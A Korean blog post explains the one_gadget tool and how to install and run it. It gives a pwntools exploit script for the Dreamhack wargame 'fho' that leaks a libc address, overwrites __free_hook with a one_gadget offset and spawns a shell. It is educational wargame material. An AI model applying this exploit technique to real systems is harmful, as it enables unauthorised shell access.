one_gadget(magic_gadget)은 실행하면 쉘이 획득되는 코드 뭉치를 말한다. 여러 gadget의 조합없이, 하나의 gadget만으로도 쉘을 실행할 수 있는 gadget이다. HITCON, 217 CTF팀의 david942j가 만든 one_gadget을 사용하면 쉽게 찾을 수 있다.
one_gadget은 libc 버전마다 다르게 존재하고, 제약 조건도 모두 다르다. Glibc의 버전이 높아질수록 제약 조건을 만족시키기 어렵기 때문에, 상황에 따라 맞는 gadget을 사용하거나 제약조건을 만족하도록 조작해야한다.
one_gadget은 함수에 인자를 전달하기 어려울 때 활용할 수 있다. __malloc_hock을 overwrite하는 것은 가능하지만 malloc의 인자에 "/bin/sh"을 전달할 수 없을 때 one_gadget을 사용하면 이를 호출해 쉘을 획득할 수 있다.
one_gadget 설치
gem install one_gadget
one_gadget 실행
one_gadget ./libc-2.27.so
one_gadget을 이용한 쉘 획득
https://3omh4.tistory.com/entry/SystemDreamhack-Exploit-Tech-Hook-Overwrite23 이 글의 드림핵 워게임 fho를 대상으로 one_gadget을 이용한 페이로드를 작성하였다.
# bof
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
main_return_address = u64(p.recvline()[:-1] + b'\x00'*2)
base_libc = main_return_address - (off_libc_start + 231)
free_hook = base_libc + off_free_hook
one_gadget = base_libc + 0x4f432
# overwrite 'free_hook' with 'execve("/bin/sh")'
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(one_gadget).encode())
p.recvuntil('To free: ')
p.sendline(str(0x11).encode())
p.interactive()
이전 hook_overwrite와 다른 점은 line15에서 free_hook을 execve를 실행하도록 one_gadget을 넣어준 부분이다. 여기서 free를 실행하면 free_hook 대신 execve를 실행하게 되므로 line 18의 내용은 의미 없는 것으로 보인다.
'CS > system' 카테고리의 다른 글
[System][Dreamhack] Exploit Tech: Hook Overwrite(2/2) (0) | 2024.03.04 |
---|---|
[System][Dreamhack] Exploit Tech: Hook Overwrite(1/2) (0) | 2024.01.24 |
[System][Dreamhack] RELRO - RELocation Read-Only (1) | 2024.01.02 |
[System][Dreamhack] PIE - Position-Independent Executable (0) | 2023.12.26 |
[System][Dreamhack] Exploit Tech : Return Oriented Programming(ROP) - ret2main (0) | 2023.12.22 |